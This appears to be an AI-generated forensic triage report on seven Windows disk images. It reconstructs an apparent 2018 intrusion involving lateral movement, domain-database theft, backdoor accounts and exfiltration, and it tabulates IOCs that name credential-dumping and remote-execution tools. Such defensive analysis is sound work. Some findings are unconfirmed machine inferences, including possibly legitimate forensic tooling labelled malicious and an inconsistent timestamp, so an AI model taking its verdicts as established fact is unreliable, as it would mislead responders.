Automated Triage 2026-06-13

AIFT Forensic Report | Flip Forensics

Case ID 3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96
Generated 2026-06-13T13:08:57Z
Tool Version 2.0
AI Provider kimi (kimi-k2.6)

Evidence Summary

Label Filename Hostname OS SHA-256 MD5
base-dc-cdrive base-dc-cdrive.E01 BASE-DC Windows Server 2016 Standard (NT 10.0) 14393.2214 N/A (skipped) N/A (skipped)
base-file-cdrive base-file-cdrive.E01 BASE-FILE Windows Server 2012 R2 Datacenter (NT 6.3) 9600 N/A (skipped) N/A (skipped)
base-rd-01-cdrive base-rd-01-cdrive.E01 BASE-RD-01 Windows 10 Enterprise (NT 10.0) 16299.547 N/A (skipped) N/A (skipped)
base-rd-02-cdrive base-rd-02-cdrive.E01 BASE-RD-02 Windows 10 Enterprise (NT 10.0) 16299.611 N/A (skipped) N/A (skipped)
base-wkstn-01-c-drive base-wkstn-01-c-drive.E01 BASE-WKSTN-01 Windows 10 Enterprise (NT 10.0) 16299.125 N/A (skipped) N/A (skipped)
base-wkstn-05-cdrive base-wkstn-05-cdrive.E01 BASE-WKSTN-05 Windows 7 Enterprise (NT 6.1) 7601.24214 Service Pack 1 N/A (skipped) N/A (skipped)
dmz-ftp-cdrive dmz-ftp-cdrive.E01 DMZ-FTP Windows Server 2012 R2 Datacenter (NT 6.3) 9600.19069 N/A (skipped) N/A (skipped)

Hash Verification Result

base-dc-cdrive:
SKIPPED
Hash computation was skipped at user request during evidence intake.
base-file-cdrive:
SKIPPED
Hash computation was skipped at user request during evidence intake.
base-rd-01-cdrive:
SKIPPED
Hash computation was skipped at user request during evidence intake.
base-rd-02-cdrive:
SKIPPED
Hash computation was skipped at user request during evidence intake.
base-wkstn-01-c-drive:
SKIPPED
Hash computation was skipped at user request during evidence intake.
base-wkstn-05-cdrive:
SKIPPED
Hash computation was skipped at user request during evidence intake.
dmz-ftp-cdrive:
SKIPPED
Hash computation was skipped at user request during evidence intake.

Investigation Context

Initial triage of a multi-host Windows environment (Domain Controller, file server, two RDS/remote-desktop hosts, two workstations, and an internet-facing DMZ FTP server). Suspected network compromise; no IOCs or leads identified yet. Goal: surface signs of intrusion, lateral movement, persistence, credential access, and suspicious execution across the hosts. Highlight anomalies, suspicious accounts/logons, unusual processes or services, and anything indicating attacker activity to seed further investigation.

Processing Notes

Processing Warning Parse produced no usable output for recyclebin on base-dc-cdrive.
Processing Warning Partial artifact parsing for base-dc-cdrive: 15/16 artifacts produced usable output.
Processing Warning Parse produced no usable output for defender.quarantine on base-file-cdrive.
Processing Warning Partial artifact parsing for base-file-cdrive: 14/15 artifacts produced usable output.
Processing Warning Parse produced no usable output for defender.quarantine on base-rd-01-cdrive.
Processing Warning Partial artifact parsing for base-rd-01-cdrive: 16/17 artifacts produced usable output.
Processing Warning Parse produced no usable output for recyclebin on base-rd-02-cdrive.
Processing Warning Parse produced no usable output for browser.downloads on base-rd-02-cdrive.
Processing Warning Parse produced no usable output for defender.quarantine on base-rd-02-cdrive.
Processing Warning Partial artifact parsing for base-rd-02-cdrive: 14/17 artifacts produced usable output.
Processing Warning Parse produced no usable output for defender.quarantine on base-wkstn-01-c-drive.
Processing Warning Partial artifact parsing for base-wkstn-01-c-drive: 15/16 artifacts produced usable output.
Processing Warning Parse produced no usable output for defender.quarantine on base-wkstn-05-cdrive.
Processing Warning Partial artifact parsing for base-wkstn-05-cdrive: 14/15 artifacts produced usable output.
Processing Warning Parse produced no usable output for defender.quarantine on dmz-ftp-cdrive.
Processing Warning Partial artifact parsing for dmz-ftp-cdrive: 14/15 artifacts produced usable output.

Cross-System Analysis

Cross-System Executive Summary

All seven systems in the imaged environment were compromised during a coordinated intrusion that peaked between April and September 2018. Attackers used the domain identity rsydow-a, the service-style account spsql, and the local backdoor account range_admin to move laterally across the Domain Controller, file server, RDS hosts, workstations, and the DMZ FTP server. Shared malware—including the kernel driver mnemosyne on at least six hosts and masquerading “Microsoft Advanced API” services on multiple systems—demonstrates a unified threat actor with domain-wide persistence. The adversary extracted the Active Directory database from the Domain Controller, staged sensitive files on the DMZ FTP server, and attempted exfiltration via public file-sharing sites. This is a critical, domain-wide incident with high confidence.

---

Cross-System Connections

1. Shared Compromised Accounts Used for Lateral Movement

  • **rsydow-a**: On BASE-DC, the account executed mass remote PowerShell/WMI operations against base-file, base-rd-01 through base-rd-06, base-wkstn-01 through base-wkstn-06, and base-mail (PowerShell History rows 57–94, 194, 247, 287–288; BASE-DC summary). On BASE-FILE, it browsed DMZ-FTP shares and local SAM directories (Jump Lists rows 9, 14, 8; Shellbags rows 102–103; BASE-FILE summary). On BASE-WKSTN-05, it created the Update_Sysmon_Rules scheduled task (Scheduled Tasks row_refs 15–16; BASE-WKSTN-05 summary). A local account rsydow-a was also created on DMZ-FTP (SAM Users rows 4, 13; DMZ-FTP summary). Confidence: HIGH.
  • **spsql: A PowerSploit trojan was quarantined in its profile on BASE-DC (Defender Quarantine rows 1–2; BASE-DC summary). It conducted interactive sessions on BASE-FILE leading to Sendspace uploads (Browser History rows 20–38; BASE-FILE summary). From BASE-RD-01, it used PowerShell remoting to extract NTDS.dit from BASE-DC (PowerShell History rows 1, 4, 6, 10, 25–30, 33, 42, 46, 48; BASE-RD-01 summary). On BASE-RD-02, it accessed TOP SECRET documents and executed download cradles (PowerShell History row_refs 1–4; Jump Lists rows 5512–5517; BASE-RD-02 summary). Confidence: HIGH**.
  • **administrator.shieldbase**: Interactive logon on BASE-WKSTN-01 (Automatic Jump Lists rows 251–256; BASE-WKSTN-01 summary). Launched executables on BASE-RD-02 (UserAssist; BASE-RD-02 summary). Downloaded archives from 10.10.10.10 on BASE-FILE (Browser Downloads rows 3–5; BASE-FILE summary). Confidence: HIGH.
  • **nfury: Active on BASE-WKSTN-05 downloading malware and bulk-downloading confidential SharePoint documents (Browser Downloads row_ref 59, rows 1–23; BASE-WKSTN-05 summary). A matching local backdoor account was created on DMZ-FTP (SAM Users row 6; DMZ-FTP summary). Confidence: HIGH**.

2. Shared Persistence and Malware Artifacts

  • **mnemosyne kernel driver: Registered on BASE-DC (2018-09-07T20:30:59Z, Services row_ref 205; BASE-DC summary), BASE-FILE (Services row_ref 150; BASE-FILE summary), BASE-RD-01 (2018-09-06T20:26Z, Services row_ref 254; BASE-RD-01 summary), BASE-RD-02 (2018-09-07T04:20:27Z, Services row_ref 253; BASE-RD-02 summary), BASE-WKSTN-05 (2018-09-06T19:37:41Z, Services row_ref 190; BASE-WKSTN-05 summary), and BASE-WKSTN-01 (2021-09-16T03:01:59Z, Services row_ref 252; BASE-WKSTN-01 summary). Confidence: HIGH**.
  • **F-Response Subject / subject_srv.exe**: Present on BASE-DC (Shimcache row_ref 1; Services row_ref 117; BASE-DC summary), BASE-RD-01 (Services row_ref 123; BASE-RD-01 summary), BASE-WKSTN-01 (Services row_ref 121; BASE-WKSTN-01 summary), and DMZ-FTP (Shimcache row 28; DMZ-FTP summary). On BASE-FILE, the mnemosyne driver was registered 0.375 seconds after the F-Response service (Services row 150; BASE-FILE summary). Confidence: HIGH.
  • “Microsoft Advanced API” masquerading services (msadvapi2_32.exe, msadvapi2_64.exe) and install_wormhole staging: Installed on BASE-FILE (2018-05-08T21:06Z, Services rows 146–147; Shimcache rows 141, 144; BASE-FILE summary) and BASE-RD-02 (2018-05-08T21:13:01Z, Services row_ref 248/249; Shimcache rows 298/306; BASE-RD-02 summary). Confidence: HIGH.
  • **Update_Sysmon_Rules scheduled task: Created on BASE-WKSTN-05 (2018-08-07T14:16:00Z, row_refs 15–16; BASE-WKSTN-05 summary) and DMZ-FTP (2018-08-07T15:09Z, rows 11, 12; DMZ-FTP summary). Confidence: HIGH**.
  • **range_admin local backdoor account: Created on BASE-RD-02 (2018-05-04T22:14:19Z, SAM row 6; BASE-RD-02 summary) and BASE-WKSTN-01 (2018-05-04T22:14:19Z, SAM row_ref 6; BASE-WKSTN-01 summary). On BASE-WKSTN-05, the account existed and received a password reset within 26 seconds of the built-in Administrator on 2018-08-29 (SAM row_refs 1, 3; BASE-WKSTN-05 summary). Near-simultaneous password resets with the built-in Administrator also occurred on BASE-RD-02 (2018-08-19) and BASE-WKSTN-01 (2018-08-29). Confidence: HIGH**.

3. Lateral Movement Paths

  • BASE-DC to fleet: rsydow-a used PowerShell remoting to execute commands on base-file, base-rd-01 through base-rd-06, and base-wkstn-01 through base-wkstn-06 (PowerShell History rows 57–94; BASE-DC summary). Confidence: HIGH.
  • BASE-RD-01 to BASE-DC: spsql used PowerShell remoting from BASE-RD-01 to extract NTDS.dit and SAM from BASE-DC (PowerShell History rows 1, 10, 30, 33; BASE-RD-01 summary). Confidence: HIGH.
  • BASE-RD-01 to BASE-FILE and others: spsql browsed the C$ administrative share on 172.16.4.5 (BASE-FILE) among at least nine remote hosts (Shellbags rows 14–34; Jump Lists rows 107, 124, 127–129; BASE-RD-01 summary). Confidence: HIGH.
  • BASE-FILE to DMZ-FTP: rsydow-a mapped a drive to \\dmz-ftp\srl-ftp and initiated an RDP session to DMZ-FTP (Jump Lists rows 9, 14, 8; BASE-FILE summary). Confidence: HIGH.
  • BASE-WKSTN-05 to DMZ-FTP: nfury browsed dmz-ftp\srl-ftp\Users\nfury\Asgard via a mapped Z: drive (Shellbags rows 6, 157, 168; BASE-WKSTN-05 summary). Confidence: HIGH.
  • DMZ-FTP to internal network: PsExec and PWDumpX were staged on DMZ-FTP (Amcache rows 306, 377; Shimcache rows 47, 58; DMZ-FTP summary), indicating preparation for lateral movement from the edge. Confidence: HIGH.

4. Shared External and Internal Infrastructure

  • **Internal staging server 10.10.10.10: Contacted by BASE-DC (2018-05-10T20:34–20:39Z, Browser History; BASE-DC summary), BASE-FILE (2018-05-04 to 2018-05-08, Browser Downloads rows 3–5; BASE-FILE summary), and DMZ-FTP (2018-05-22T02:13–02:18Z, Browser Downloads rows 4, 6; DMZ-FTP summary). Confidence: HIGH**.
  • **sendspace.com**: BASE-FILE uploads by spsql (2018-09-05T15:01–15:02Z, Browser History rows 20, 28; BASE-FILE summary) and BASE-RD-01 visit by spsql (2018-09-05T13:17–13:44Z, Browser History rows 487–494, 501; BASE-RD-01 summary). Confidence: HIGH.
  • **squirreldirectory.com**: BASE-RD-02 PowerShell download cradles executed by spsql (2018-08-31T00:43:21Z, PowerShell History row_refs 1–4; BASE-RD-02 summary). Not observed on other hosts in the provided summaries. Confidence: HIGH.

---

Multi-System Timeline

Timestamp (UTC)Source SystemSource ArtifactEvent
2018-04-10T19:29:48ZBASE-DCShimcache row_ref 1subject_srv.exe present in C:\windows
2018-04-10T19:29:50ZDMZ-FTPShimcache row 28subject_srv.exe present in C:\Windows
2018-04-26T19:20–20:15ZDMZ-FTPBrowser History / Recycle BinAdministrator manipulates pfSense firewall, exports VPN profile, bulk-deletes VPN files
2018-04-26T20:15:40ZBASE-DCBrowser HistoryAdministrator opens account list, contacts 10.10.10.10
2018-05-04T22:14:19ZBASE-RD-02SAM row 6Local account range_admin created
2018-05-04T22:14:19ZBASE-WKSTN-01SAM row_ref 6Local account range_admin created
2018-05-08T14:41:55ZBASE-RD-02Jump ListsDomain admin administrator.shieldbase interactive session on RDS host
2018-05-08T21:06ZBASE-FILEServices rows 146–147; Shimcache rows 141, 144"Microsoft Advanced API 32/64" masquerading services installed
2018-05-08T21:13:01ZBASE-RD-02Services row_ref 248/249; Shimcache rows 298/306"Microsoft Advanced API 32/64" masquerading services installed
2018-05-10T20:34–20:39ZBASE-DCBrowser History / DownloadsAdministrator downloads wdksetup.exe, WDK.zip, and PDO-Users.yaml from 10.10.10.10
2018-07-16T22:27ZDMZ-FTPSAM Users rows 4, 13Local accounts ftpadmin and rsydow-a created
2018-08-06T18:08 / 18:17ZDMZ-FTPSAM Users rows 6, 7Local backdoor accounts nfury and dblake created 9 minutes apart
2018-08-07T14:16:00ZBASE-WKSTN-05Scheduled Tasks row_refs 15–16Update_Sysmon_Rules task created by rsydow-a
2018-08-07T15:09ZDMZ-FTPScheduled Tasks rows 11, 12Update_Sysmon_Rules task created by rsydow
2018-08-07T16:20:14ZBASE-WKSTN-05Shellbags rows 6, 157, 168nfury browses DMZ-FTP path and maps Z: drive
2018-08-08T14:20:05ZBASE-WKSTN-01Browser Downloads row_ref 47mhill downloads CONFIDENTIAL - Project Mayhem.pptx
2018-08-08T16:15ZBASE-FILEJump Lists rows 9, 14rsydow-a maps drive to \\dmz-ftp\srl-ftp
2018-08-11T04:15ZBASE-FILEJump Lists row 8rsydow-a initiates RDP session to DMZ-FTP
2018-08-15T17:10:31ZBASE-FILEShellbags rows 15, 31spsql browses 172.16.4.4 (BASE-DC) C$ share
2018-08-19T03:58:17Z / 03:58:45ZBASE-RD-02SAM rows 1, 6Passwords changed on range_admin and built-in Administrator within 28 seconds
2018-08-19T03:59ZBASE-WKSTN-01SAM row_refs 1, 6Passwords changed on range_admin and built-in Administrator within seconds
2018-08-25T16:44:33ZBASE-RD-01Scheduled Tasks row_ref 5, 6Task "Collect Background Statistics" created by spsql
2018-08-29T03:06:01Z / 03:06:27ZBASE-WKSTN-05SAM row_refs 1, 3Passwords changed on built-in Administrator and range_admin within 26 seconds
2018-08-31T18:35:58ZBASE-WKSTN-05Browser Downloads row_ref 59nfury downloads perfmonsvc64.exe from technicalbird.com
2018-08-31T18:38:44ZBASE-WKSTN-05Services row_ref 265PerfMon auto-start service registered pointing to downloaded binary
2018-08-31T21:11–21:12ZBASE-FILEUserAssist rows 39, 40, 48, 49; Jump Lists row 15spsql launches RDP and PowerShell; later RDPs to 172.16.7.11
2018-08-31T22:18–22:20ZBASE-DCDefender Quarantine rows 1–2PowerSploit n.ps1 quarantined twice in spsql profile
2018-08-31T22:43:21ZBASE-RD-02PowerShell History row_refs 1–4spsql executes download cradles from squirreldirectory.com
2018-09-04T18:20Z / 18:31ZDMZ-FTPAmcache rows 306, 377; Shimcache rows 47, 58PWDumpX.exe and PsExec.exe staged in C:\Windows\Temp\perfmon\
2018-09-04T22:51ZDMZ-FTPShimcache row 46; Services row 228PSEXESVC.exe service installed
2018-09-05T12:34:13ZBASE-RD-01PowerShell History rows 1, 10, 30, 33spsql extracts NTDS.dit from BASE-DC via PowerShell remoting
2018-09-05T13:15:53ZBASE-RD-01Recycle Bin rows 1–51spsql bulk-deletes 51 research documents
2018-09-05T15:01–15:02ZBASE-FILEBrowser History rows 20, 28spsql uploads files to Sendspace
2018-09-06T17:25Z–20:25ZBASE-RD-01BAM/DAM row_refs 33, 35, 36System-level execution of cmd.exe, powershell.exe, conhost.exe
2018-09-06T19:37:41ZBASE-WKSTN-05Services row_ref 190mnemosyne kernel driver registered
2018-09-06T20:26ZBASE-RD-01Services row_ref 254mnemosyne kernel driver registered
2018-09-06T20:26ZBASE-FILEServices row_ref 150mnemosyne kernel driver registered (0.375 seconds after F-Response)
2018-09-07T04:20:27ZBASE-RD-02Services row_ref 253mnemosyne kernel driver registered
2018-09-07T16:44:45ZBASE-DCPowerShell History rows 57–94, 194, 247, 287–288rsydow-a executes mass remote VSS creation, time-sync disable, and reboots across fleet
2018-09-07T20:30:59ZBASE-DCServices row_ref 205mnemosyne kernel driver registered
2021-09-16T03:01:59ZBASE-WKSTN-01Services row_ref 252mnemosyne kernel driver registered

---

Patient Zero

Insufficient evidence exists to conclusively identify the initial compromise host. Both BASE-DC and DMZ-FTP show subject_srv.exe in Shimcache within two seconds of each other on 2018-04-10, suggesting coordinated implantation or a shared baseline image, but no artifact confirms which host was compromised first or how the attacker moved from the edge to the domain. DMZ-FTP is internet-facing and shows pfSense firewall manipulation on 2018-04-26, yet no Security Event Logs or network flow data are available to validate it as the entry point.

---

Shared IOCs

IOCTypeSystemsFirst Observed (per system)
mnemosyne / Mnemosyne.sysKernel driver / serviceBASE-DC, BASE-FILE, BASE-RD-01, BASE-RD-02, BASE-WKSTN-01, BASE-WKSTN-05BASE-DC: 2018-09-07; BASE-FILE: 2018-09-06; BASE-RD-01: 2018-09-06; BASE-RD-02: 2018-09-07; BASE-WKSTN-05: 2018-09-06; BASE-WKSTN-01: 2021-09-16
subject_srv.exe / F-Response SubjectExecutable / serviceBASE-DC, BASE-RD-01, BASE-WKSTN-01, DMZ-FTPBASE-DC: 2018-04-10; DMZ-FTP: 2018-04-10; BASE-RD-01: 2018-09-06; BASE-WKSTN-01: 2021-09-16
msadvapi2_32.exe / msadvapi2_64.exe / "Microsoft Advanced API"Masquerading service binariesBASE-FILE, BASE-RD-02BASE-FILE: 2018-05-08; BASE-RD-02: 2018-05-08
range_admin local accountLocal backdoor accountBASE-RD-02, BASE-WKSTN-01, BASE-WKSTN-05BASE-RD-02: 2018-05-04; BASE-WKSTN-01: 2018-05-04; BASE-WKSTN-05: 2018-08-29 (password reset; creation date not stated in summary)
Update_Sysmon_Rules scheduled taskScheduled taskBASE-WKSTN-05, DMZ-FTPBASE-WKSTN-05: 2018-08-07; DMZ-FTP: 2018-08-07
rsydow-a accountDomain / Local accountBASE-DC, BASE-FILE, BASE-WKSTN-05, DMZ-FTPBASE-DC: 2018-05-14; BASE-FILE: 2018-08-08; BASE-WKSTN-05: 2018-08-07; DMZ-FTP: 2018-07-16
spsql accountDomain / Service accountBASE-DC, BASE-FILE, BASE-RD-01, BASE-RD-02BASE-DC: 2018-08-31; BASE-FILE: 2018-08-15; BASE-RD-01: 2018-08-25; BASE-RD-02: 2018-08-31
10.10.10.10Internal staging IPBASE-DC, BASE-FILE, DMZ-FTPBASE-DC: 2018-05-10; BASE-FILE: 2018-05-04; DMZ-FTP: 2018-05-22
sendspace.comExternal file-sharing domainBASE-FILE, BASE-RD-01BASE-FILE: 2018-09-05; BASE-RD-01: 2018-09-05
squirreldirectory.comExternal download domainBASE-RD-02BASE-RD-02: 2018-08-31
ri.exeUnknown executableBASE-FILE, BASE-RD-01BASE-FILE: 2018-09-05; BASE-RD-01: 2018-09-05
7za.exeCompression utilityBASE-FILE, DMZ-FTPBASE-FILE: 2018-05-08; DMZ-FTP: 2018-08-07

---

Scope Assessment

Compromised (all analyzed systems):

  • BASE-DC: Confirmed domain database extraction, PowerSploit, mass remote command execution, kernel driver persistence.
  • BASE-FILE: Confirmed malicious services, exfiltration to Sendspace, lateral movement to DMZ-FTP and BASE-DC.
  • BASE-RD-01: Confirmed NTDS.dit extraction from BASE-DC, fleet-wide share browsing, scheduled task persistence.
  • BASE-RD-02: Confirmed kernel driver, UAC bypass, TOP SECRET document collection, PowerShell download cradles.
  • BASE-WKSTN-01: Confirmed backdoor account, suspicious unsigned binaries, ProtonMail use, OSINT reconnaissance, kernel driver installed in 2021.
  • BASE-WKSTN-05: Confirmed malicious service, named-pipe backdoor, DMZ-FTP access, bulk SharePoint downloads.
  • DMZ-FTP: Confirmed pfSense firewall manipulation, local backdoor accounts, PsExec/PWDumpX staging, FTP root staging of M&A data.

No analyzed systems are clean. The blast radius spans the entire imaged fleet: domain core, remote desktop tier, workstation tier, and DMZ edge.

---

Gaps and Recommendations

  1. Universal absence of Windows Security Event Logs (EVTX): No Security, System, or PowerShell Operational EVTX were provided for any host. These are required to confirm logon sources (Event ID 4624), process creation with command lines (4688), service installation actors (7045), and account management (4720/4724). Recommendation: Acquire and centralize EVTX from all hosts for April–September 2018; this is the highest-priority gap.
  1. **F-Response, mnemosyne, and subject_srv.exe legitimacy unresolved:** These artifacts appear across four to six systems but may represent authorized forensic or cyber-range baseline tooling. *Recommendation: Confirm with the incident response lead whether F-Response and the mnemosyne driver were deliberately deployed. If unauthorized, treat them as a rootkit campaign and initiate kernel-level forensics.*
  1. Eight-year evidentiary void (2018–2026): Most systems have no artifacts after September 2018; BASE-WKSTN-01 has a gap from September 2021 onward. It is unknown whether hosts were rebuilt, remain persistently compromised, or were cleaned. Recommendation: Conduct live-response triage on any still-online hosts to assess current compromise state before declaring the incident contained.
  1. No network flow or proxy logs: While Sendspace uploads and squirreldirectory.com downloads are documented in browser histories, actual exfiltration volume and command-and-control beaconing cannot be confirmed without firewall, proxy, or NetFlow data. *Recommendation: Pull network telemetry for 10.10.10.10, sendspace.com, squirreldirectory.com, and base-hunt.shieldbase.lan:5682 for the 2018 incident window.*
  1. **rsydow-a and spsql account provenance unresolved:** It remains unclear whether these are compromised legitimate identities or attacker-provisioned accounts. No NTDS.dit analysis or HR context was provided. Recommendation: Audit Active Directory creation dates, recent password changes, and group memberships for both accounts; force-reset passwords and revoke all active sessions until legitimacy is validated.
  1. Patient zero undetermined: The near-simultaneous appearance of subject_srv.exe on BASE-DC and DMZ-FTP within two seconds on 2018-04-10 suggests coordinated activity, but the delivery mechanism and initial access vector are unknown. Recommendation: Preserve MFT, USN Journal, and any available backups from April 2018 for BASE-DC and DMZ-FTP to identify the implant vector.
  1. Memory analysis missing: The runtime state of mnemosyne, tbbd05, and the "Microsoft Advanced API" services is unknown on all hosts. *Recommendation: Capture volatile memory from any still-online hosts before shutdown to inspect loaded kernel modules, active named pipes (especially \pipe\334485), and service runtime state.*
  1. Cryptographic hashes unavailable for most shared IOCs: The summaries do not provide SHA-256 or signature status for mnemosyne.sys, msadvapi2_*.exe, ri.exe, or perfmonsvc64.exe, preventing definitive threat-intel correlation. Recommendation: Generate SHA-256 hashes for all shared cross-system binaries and submit to threat intelligence platforms.
base-dc-cdrive

Image Summary

Executive Summary

BASE-DC is compromised with high confidence and exhibits evidence of active adversary control. In May 2018, the local Administrator account downloaded archives and executables from an internal staging server using obfuscated paths, and by August–September the domain account rsydow-a was used to execute mass remote operations across the fleet—including creating volume shadow copies, disabling VM time synchronization, and installing a suspicious kernel driver named mnemosyne. The presence of PowerSploit malware, unauthorized reconnaissance of account lists and security logs, and anomalous interactive use of PowerShell and system tools on the Domain Controller itself confirm post-exploitation activity. This represents a critical incident with domain-wide impact; immediate containment and full forensic response are warranted.

---

Timeline

Timestamp (UTC)Source ArtifactEventConfidence
2018-04-10T19:29:48ZShimcacheNon-standard executable subject_srv.exe present in C:\windowsHIGH
2018-04-26T02:02:06ZJump ListsAdministrator opened ShieldbaseUserAccounts.txt from Desktop via NotepadHIGH
2018-05-10T20:34:14ZBrowser HistoryAdministrator opened local account list on Desktop; ~5 minutes later contacted 10.10.10.10HIGH
2018-05-10T20:39:50ZBrowser HistoryAdministrator browsed hex-path directory on 10.10.10.10 and retrieved PDO-Users.yamlHIGH
2018-05-14T02:58:16ZShellbags / Jump ListsAdministrator browsed SYSVOL GPO Machine\Scripts\Startup folders for two domain policiesHIGH
2018-05-18T21:57:19ZBrowser History / DownloadsAdministrator downloaded wdksetup.exe and WDK.zip from randomized hex paths on 10.10.10.10HIGH
2018-05-18T22:20:03ZBrowser HistoryAdministrator accessed the downloaded WDK.zip in the local Downloads folderHIGH
2018-06-01T19:32:36ZCustom Jump ListsAdministrator launched Internet Explorer with -private argumentMEDIUM
2018-06-04T20:43:58ZShellbagsrsydow-a browsed C:\Windows\System32\config (SAM/SECURITY hives)MEDIUM
2018-07-05/06Shellbags / Jump Lists / Browser Historyrsydow-a accessed remote base-file hidden shares and local audit/workstation documentsMEDIUM
2018-08-07/08Shellbagsrsydow-a browsed base-wkstn-05 C$ share and remote Prefetch directoryHIGH
2018-08-08T23:55:58ZJump Lists / Browser Historyrsydow-a opened archived Security event logHIGH
2018-08-15T17:10:22ZShimcacheSysinternals Autorunsc.exe present in C:\WindowsMEDIUM
2018-08-16T22:10:54ZUserAssist / Custom Jump Listsrsydow-a interactive session: PowerShell (7 executions, >5 hours focus time), rundll32.exe, regedit.exeHIGH
2018-08-31T22:18–22:20ZDefender QuarantinePowerSploit trojan n.ps1 quarantined twice in spsql user profile within ~2 minutesHIGH
2018-09-06T22:11:15ZServicesF-Response Subject auto-start service registered (legitimacy unverified)MEDIUM
2018-09-07T16:44:45ZPowerShell Historyrsydow-a executed mass VSS creation, VMware time-sync disable, reboots of base-mail/base-file, remote-registry enable, and log queries across numerous RDS/workstation hostsHIGH
2018-09-07T20:30:46ZUserAssistrsydow-a opened services.msc on the Domain ControllerHIGH
2018-09-07T20:30:59ZServicesUnattributed kernel driver mnemosyne registered from C:\windows\Mnemosyne.sysHIGH

---

Attack Narrative

  • Initial AccessInsufficient direct evidence. No exploitation artifacts, phishing traces, or brute-force indicators were recovered. The earliest anomalous activity is the Administrator account downloading tooling from an internal host (10.10.10.10) in May 2018, suggesting either a compromised privileged account or insider-assisted access.
  • ExecutionConfirmed. Multiple suspicious or unauthorized binaries were introduced: wdksetup.exe and WDK.zip were downloaded from randomized URL paths on 10.10.10.10 and installed (Browser History row_ref 29, row 24; Browser Downloads row_ref 1, 2; Amcache row_ref 587, 588, 615; Shimcache row_ref 345). subject_srv.exe was present on disk (Shimcache row_ref 1) and later registered as the F-Response Subject service (Services row_ref 117), though its legitimacy is unverified. In late August, PowerSploit (Trojan:PowerShell/Powersploit.O in C:\Users\spsql\n.ps1) was detected and quarantined twice in under two minutes (Defender Quarantine rows 1, 2). On September 7, an unattributed kernel driver named mnemosyne was registered (Services row_ref 205).
  • PersistenceConfirmed. The mnemosyne kernel driver (Services row_ref 205) provides kernel-level persistence. A VSS shadow-copy task authored by shieldbase\rsydow-a and configured to run as System was found in both modern and legacy task scheduler stores (Scheduled Tasks row_ref 4, 367). Potential domain-wide persistence via GPO startup scripts is suggested by Administrator browsing of SYSVOL Machine\Scripts\Startup folders under {FEA6F4E9-49E8-4B0A-8278-5917AA8CF0C7} and {31B2F340-016D-11D2-945F-00C04FB984F9} (Shellbags rows 34, 38, 106; Jump Lists row 39) on May 14, 2018.
  • Privilege EscalationInferred. No explicit escalation technique (e.g., CVE exploitation) was observed in the provided artifacts. However, successful installation of a kernel driver and execution of fleet-wide remote WMI/PowerShell commands require elevated privileges; the attacker clearly obtained administrative or Domain Admin–equivalent rights.
  • Lateral MovementConfirmed. rsydow-a accessed hidden administrative shares on base-file (srl-admin$) and base-wkstn-05 (C$), drilling into remote Prefetch directories (Shellbags rows 3–5, 21–23; Jump Lists rows 2, 16, 18–26, 28). On September 7, rsydow-a used PowerShell Invoke-Command and WMI to execute commands against numerous hosts including base-rd-01 through base-rd-06, base-wkstn-01 through base-wkstn-06, base-file, and base-mail (PowerShell History rows 57–94, 194, 247, 287–288).
  • CollectionConfirmed. Reconnaissance files including ShieldbaseUserAccounts.txt, srl-workstations.txt, srl-all.txt, and audit-policy exports were accessed (Jump Lists rows 20, 3–5, 7; Browser History rows 20, 3–7). An archived Security event log was reviewed (Jump Lists row 6; Browser History row 6). Fleet-wide VSS snapshots were created (PowerShell History rows 66, 70, 74, 81, 86, 94, 212, 214; Scheduled Tasks row_ref 4, 367), and rsydow-a inspected remote pagefiles and enabled hibernation (PowerShell History rows 106, 144, 147–150).
  • Defense Evasion / Anti-ForensicsConfirmed. VMware time synchronization was mass-disabled across hosts (PowerShell History row 194), a known technique to desynchronize logs and facilitate Kerberos attacks. Critical servers (base-mail, base-file) were remotely rebooted (PowerShell History rows 247, 287–288). Internet Explorer private browsing was used (Custom Jump Lists row_ref 4). Remote Registry was enabled on multiple hosts (PowerShell History rows 30–31, 35, 156, 158), and Security/Sysmon log coverage was probed (PowerShell History rows 121–124, 131, 165, 169, 173–174).
  • ExfiltrationNo evidence. No outbound data-transfer artifacts were identified in the provided data.

---

Gaps and Unknowns

  • Authorship of early activity: Whether the May 2018 Administrator downloads and GPO browsing were performed by a legitimate admin, a compromised insider, or an external actor cannot be determined without Windows Security Event Log logon/session data (4624/4648/4672).
  • F-Response legitimacy: The F-Response Subject service (Services row_ref 117) and subject_srv.exe (Shimcache row_ref 1) may be authorized forensic acquisition tooling, but this is unconfirmed. If authorized, they are benign; if not, they constitute an additional persistent backchannel. This uncertainty does not negate the other compromise indicators.
  • Execution confirmation: It is unknown whether downloaded WDK components, wdksetup.exe, or WDK.zip were executed maliciously, because Prefetch, execution logs (4688), and EDR telemetry are unavailable.
  • Temporal precision: The PowerShell history file (ConsoleHost_history.txt) shares a single modification timestamp (2018-09-07T16:44:45Z) for all 291 commands, preventing exact sequencing and duration analysis of the September 7 operations.
  • Artifact sparseness and potential clearing: Very sparse browser history (only 35 IE records over 4 months), only 2 Run/RunOnce entries, and limited Jump List coverage suggest possible artifact clearing, private browsing, or uncollected data. Direct evidence of event-log clearing (e.g., Event ID 1102) is absent from the provided artifacts.
  • Kernel driver runtime state: Memory analysis is unavailable, so whether mnemosyne is currently loaded or was ever executed cannot be confirmed.
  • Domain account status: NTDS.dit was not analyzed, so unauthorized domain account creation, group membership changes, or DCSync activity cannot be assessed.
  • spsql account context: The role of the spsql account and how the PowerSploit payload reached its profile are unknown; no authentication or process-creation data links the quarantine events to a specific user session.

---

Recommended Next Steps

  1. Immediate containment — Isolate BASE-DC and capture memory. Disconnect BASE-DC from the network to prevent further lateral movement or domain-wide damage. Before powering off, acquire a volatile memory dump and inspect loaded kernel modules for mnemosyne; if loaded, this confirms active rootkit execution.
  2. Immediate verification — Confirm F-Response authorization. Ask the investigation team whether F-Response forensic software was deliberately deployed on BASE-DC. If unauthorized, treat C:\windows\subject_srv.exe as malicious and capture its binary, configuration, and any network logs referencing base-hunt.shieldbase.lan:5682.
  3. Preserve fleet evidence — Secure Volume Shadow Copies. On every host targeted by the September 7 PowerShell commands, immediately preserve existing VSS snapshots and run vssadmin list shadows to detect snapshots created for staging or data theft. Re-enable VMware time sync only after forensic imaging.
  4. Collect critical logs — Retrieve Windows Event Logs. Obtain Security Event Logs (4624, 4648, 4672, 4688, 4697, 4698, 4702, 4663), PowerShell Operational/Script Block logs (4103/4104), Task Scheduler Operational logs, and WMI-Activity logs from BASE-DC and key targets (base-file, base-mail, base-rd-*, base-wkstn-*) to confirm logon sources, command execution, and service/task registration for rsydow-a and Administrator.
